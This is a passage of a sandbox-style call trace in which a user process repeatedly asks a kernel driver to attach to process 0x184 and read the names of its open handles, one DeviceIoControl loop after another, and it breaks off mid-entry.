[0093.032] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.032] ObQueryNameString (in: Object=0xfffff8a001aad6f0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.032] ObfDereferenceObject (Object=0xfffff8a001aad6f0) returned 0x1 [0093.032] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.032] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.032] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.032] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.032] PsAcquireProcessExitSynchronization () returned 0x0 [0093.032] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.032] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0012500e0, HandleInformation=0x0) returned 0x0 [0093.032] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.032] PsReleaseProcessExitSynchronization () returned 0x2 [0093.032] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.032] ObQueryNameString (in: Object=0xfffff8a0012500e0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.032] ObfDereferenceObject (Object=0xfffff8a0012500e0) returned 0x1 [0093.032] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.032] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.032] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.032] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.032] PsAcquireProcessExitSynchronization () returned 0x0 [0093.032] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.032] ObReferenceObjectByHandle (in: Handle=0x288, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00206f1f0, HandleInformation=0x0) returned 0x0 [0093.033] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.033] PsReleaseProcessExitSynchronization () returned 0x2 [0093.033] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.033] ObQueryNameString (in: Object=0xfffff8a00206f1f0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.033] ObfDereferenceObject (Object=0xfffff8a00206f1f0) returned 0x1 [0093.033] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.033] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.033] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.033] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.033] PsAcquireProcessExitSynchronization () returned 0x0 [0093.033] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.033] ObReferenceObjectByHandle (in: Handle=0x28c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089e92b0, HandleInformation=0x0) returned 0x0 [0093.033] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.033] PsReleaseProcessExitSynchronization () returned 0x2 [0093.033] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.033] ObQueryNameString (in: Object=0xfffff8a0089e92b0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.033] ObfDereferenceObject (Object=0xfffff8a0089e92b0) returned 0x1 [0093.033] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.033] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.033] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.033] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.033] PsAcquireProcessExitSynchronization () returned 0x0 [0093.033] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.033] ObReferenceObjectByHandle (in: Handle=0x298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001247880, HandleInformation=0x0) returned 0x0 [0093.033] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.033] PsReleaseProcessExitSynchronization () returned 0x2 [0093.033] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.033] ObQueryNameString (in: Object=0xfffff8a001247880, ObjectNameInfo=0xfffffa8002061044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002061044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.033] ObfDereferenceObject (Object=0xfffff8a001247880) returned 0x1 [0093.033] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.033] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.033] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.034] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.034] PsAcquireProcessExitSynchronization () returned 0x0 [0093.034] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.034] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001b237a0, HandleInformation=0x0) returned 0x0 [0093.034] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.034] PsReleaseProcessExitSynchronization () returned 0x2 [0093.034] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.034] ObQueryNameString (in: Object=0xfffff8a001b237a0, ObjectNameInfo=0xfffffa800207b044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800207b044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.034] ObfDereferenceObject (Object=0xfffff8a001b237a0) returned 0x1 [0093.034] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.034] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.034] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.034] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.034] PsAcquireProcessExitSynchronization () returned 0x0 [0093.034] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.034] ObReferenceObjectByHandle (in: Handle=0x2b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001625eb0, HandleInformation=0x0) returned 0x0 [0093.034] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.034] PsReleaseProcessExitSynchronization () returned 0x2 [0093.034] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.034] ObQueryNameString (in: Object=0xfffff8a001625eb0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.034] ObfDereferenceObject (Object=0xfffff8a001625eb0) returned 0x1 [0093.034] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.034] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.034] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.034] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.034] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.034] PsAcquireProcessExitSynchronization () returned 0x0 [0093.034] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.034] ObReferenceObjectByHandle (in: Handle=0x2cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017fefc0, HandleInformation=0x0) returned 0x0 [0093.034] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.034] PsReleaseProcessExitSynchronization () returned 0x2 [0093.034] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.035] ObQueryNameString (in: Object=0xfffff8a0017fefc0, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.035] ObfDereferenceObject (Object=0xfffff8a0017fefc0) returned 0x1 [0093.035] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.035] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.035] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0093.035] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.035] PsAcquireProcessExitSynchronization () returned 0x0 [0093.035] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.035] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800346f580, HandleInformation=0x0) returned 0x0 [0093.035] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.035] PsReleaseProcessExitSynchronization () returned 0x2 [0093.035] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.035] ObQueryNameString (in: Object=0xfffffa800346f580, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.035] ObfDereferenceObject (Object=0xfffffa800346f580) returned 0x2 [0093.035] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.035] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.035] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.035] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.035] PsAcquireProcessExitSynchronization () returned 0x0 [0093.035] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.035] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001811930, HandleInformation=0x0) returned 0x0 [0093.035] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.035] PsReleaseProcessExitSynchronization () returned 0x2 [0093.035] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.035] ObQueryNameString (in: Object=0xfffff8a001811930, ObjectNameInfo=0xfffffa80020ec044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020ec044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.035] ObfDereferenceObject (Object=0xfffff8a001811930) returned 0x1 [0093.035] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.035] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.035] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.035] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.035] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.035] PsAcquireProcessExitSynchronization () returned 0x0 [0093.036] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.036] ObReferenceObjectByHandle (in: Handle=0x2e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001b633e0, HandleInformation=0x0) returned 0x0 [0093.036] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.036] PsReleaseProcessExitSynchronization () returned 0x2 [0093.036] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.036] ObQueryNameString (in: Object=0xfffff8a001b633e0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.036] ObfDereferenceObject (Object=0xfffff8a001b633e0) returned 0x1 [0093.036] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.036] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.036] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.036] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.036] PsAcquireProcessExitSynchronization () returned 0x0 [0093.036] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.036] ObReferenceObjectByHandle (in: Handle=0x2ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001a63b80, HandleInformation=0x0) returned 0x0 [0093.036] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.036] PsReleaseProcessExitSynchronization () returned 0x2 [0093.036] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.036] ObQueryNameString (in: Object=0xfffff8a001a63b80, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.036] ObfDereferenceObject (Object=0xfffff8a001a63b80) returned 0x1 [0093.036] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.036] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.036] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.036] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.036] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.036] PsAcquireProcessExitSynchronization () returned 0x0 [0093.036] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.036] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00179dd10, HandleInformation=0x0) returned 0x0 [0093.036] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.036] PsReleaseProcessExitSynchronization () returned 0x2 [0093.036] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.036] ObQueryNameString (in: Object=0xfffff8a00179dd10, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.036] ObfDereferenceObject (Object=0xfffff8a00179dd10) returned 0x1 [0093.036] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.037] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.037] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.037] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.037] PsAcquireProcessExitSynchronization () returned 0x0 [0093.037] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.037] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f44bf0, HandleInformation=0x0) returned 0x0 [0093.037] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.037] PsReleaseProcessExitSynchronization () returned 0x2 [0093.037] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.037] ObQueryNameString (in: Object=0xfffff8a001f44bf0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.037] ObfDereferenceObject (Object=0xfffff8a001f44bf0) returned 0x1 [0093.037] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.037] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.037] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.037] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.037] PsAcquireProcessExitSynchronization () returned 0x0 [0093.037] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.037] ObReferenceObjectByHandle (in: Handle=0x2f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0012483d0, HandleInformation=0x0) returned 0x0 [0093.037] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.037] PsReleaseProcessExitSynchronization () returned 0x2 [0093.037] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.037] ObQueryNameString (in: Object=0xfffff8a0012483d0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.037] ObfDereferenceObject (Object=0xfffff8a0012483d0) returned 0x1 [0093.037] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.037] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.037] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.037] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.037] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.037] PsAcquireProcessExitSynchronization () returned 0x0 [0093.037] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.037] ObReferenceObjectByHandle (in: Handle=0x310, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f537a0, HandleInformation=0x0) returned 0x0 [0093.038] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.038] PsReleaseProcessExitSynchronization () returned 0x2 [0093.038] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.038] ObQueryNameString (in: Object=0xfffff8a001f537a0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.038] ObfDereferenceObject (Object=0xfffff8a001f537a0) returned 0x1 [0093.038] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.038] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.038] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.038] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, 